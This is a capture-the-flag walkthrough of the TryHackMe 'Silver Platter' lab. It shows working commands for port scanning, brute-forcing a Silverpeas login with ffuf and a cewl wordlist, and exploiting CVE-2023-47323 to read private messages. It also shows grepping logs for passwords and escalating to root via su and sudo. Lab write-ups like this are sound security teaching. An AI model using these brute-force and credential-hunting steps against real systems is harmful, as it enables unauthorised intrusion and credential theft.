TryHackMe: Silver Platter
Silver Platter was a simple room where we discovered a Silverpeas installation along with a username. We brute-forced the user’s password using a custom wordlist to gain access to Silverpeas, and by exploiting a vulnerability in it that allows an authenticated user to read all the messages, we uncovered SSH credentials in one of them.
Using the discovered credentials to gain a shell, we found a password in the logs and used it to escalate to the root user, completing the room.
Initial Enumeration
Nmap Scan
We start with an nmap scan.
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.191.243 Nmap scan report for 10.10.191.243 Host is up (0.089s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA) |_ 256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Hack Smarter Security |_http-server-header: nginx/1.18.0 (Ubuntu) 8080/tcp open http-proxy ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel There are three open ports:
- 22 (
SSH) - 80 (
HTTP) - 8080 (
HTTP)
Web 80
Checking http://10.10.191.243/, we find a static site.
Web 8080
Checking http://10.10.191.243:8080/, we simply receive a 404 error.
Shell as tim
Discovering Silverpeas
In the Contact section on port 80 (http://10.10.191.243/#contact), we find an interesting message mentioning Silverpeas and a username: scr1ptkiddy.
Silverpeas typically runs on :8080/silverpeas and visiting http://10.10.191.243:8080/silverpeas, we find the login page for it.
Brute-forcing the Credentials
The contact page provides a username, and the challenge room states a password policy that disallows breached passwords. So, instead of using a wordlist like rockyou.txt, we can generate a custom wordlist from the text in the web application on port 80 using cewl:
$ cewl http://10.10.191.243/ > passwords.txt Now, using this wordlist with ffuf to brute-force the password for the scr1ptkiddy user, we find it as a[REDACTED]g:
$ ffuf -u 'http://10.10.191.243:8080/silverpeas/AuthenticationServlet' -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'Login=scr1ptkiddy&Password=FUZZ&DomainId=0' -w passwords.txt -r -mc all -t 100 -fs 8282 ... a[REDACTED]g [Status: 200, Size: 548, Words: 64, Lines: 24, Duration: 2399ms] Reading Messages
Using the discovered credentials, we successfully log in as scr1ptkiddy to Silverpeas.
Searching for vulnerabilities in Silverpeas, we find CVE-2023-47323, which allows reading all messages via the http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID] endpoint.
Exploiting this vulnerability to read the messages, when we read the message with ID 6 (http://10.10.191.243:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6), we find the SSH credentials for the tim user.
Using these credentials, we can gain a shell and read the user flag at /home/tim/user.txt:
$ ssh tim@10.10.191.243 ... tim@silver-platter:~$ wc -c user.txt 38 user.txt Shell as root
Finding the Password
Checking the group memberships for the tim user, we see that the user belongs to the adm group:
tim@silver-platter:~$ id uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm) As a member of the adm group, we can read most logs on the machine and searching the logs for passwords, we find one in auth.log for the Silverpeas database:
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null ... /var/log/auth.log.2:Dec 13 15:44:30 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Z[REDACTED]3/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database sivlerpeas:silverpeas-6.3.1 ... Checking the /etc/passwd file, we see that, apart from the tim user, there is also the tyler user.
tim@silver-platter:~$ cat /etc/passwd | grep 'sh$' root:x:0:0:root:/root:/bin/bash tyler:x:1000:1000:root:/home/tyler:/bin/bash tim:x:1001:1001::/home/tim:/bin/bash Testing the password we discovered for the tyler user, we successfully switch users:
tim@silver-platter:~$ su - tyler Password: tyler@silver-platter:~$ id uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Checking sudo privileges for tyler, we see full access:
tyler@silver-platter:~$ sudo -l [sudo] password for tyler: Matching Defaults entries for tyler on silver-platter: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User tyler may run the following commands on silver-platter: (ALL : ALL) ALL With this, we can use sudo to escalate to the root user and read the root flag at /root/root.txt to complete the room.
tyler@silver-platter:~$ sudo su - root@silver-platter:~# wc -c root.txt 38 root.txt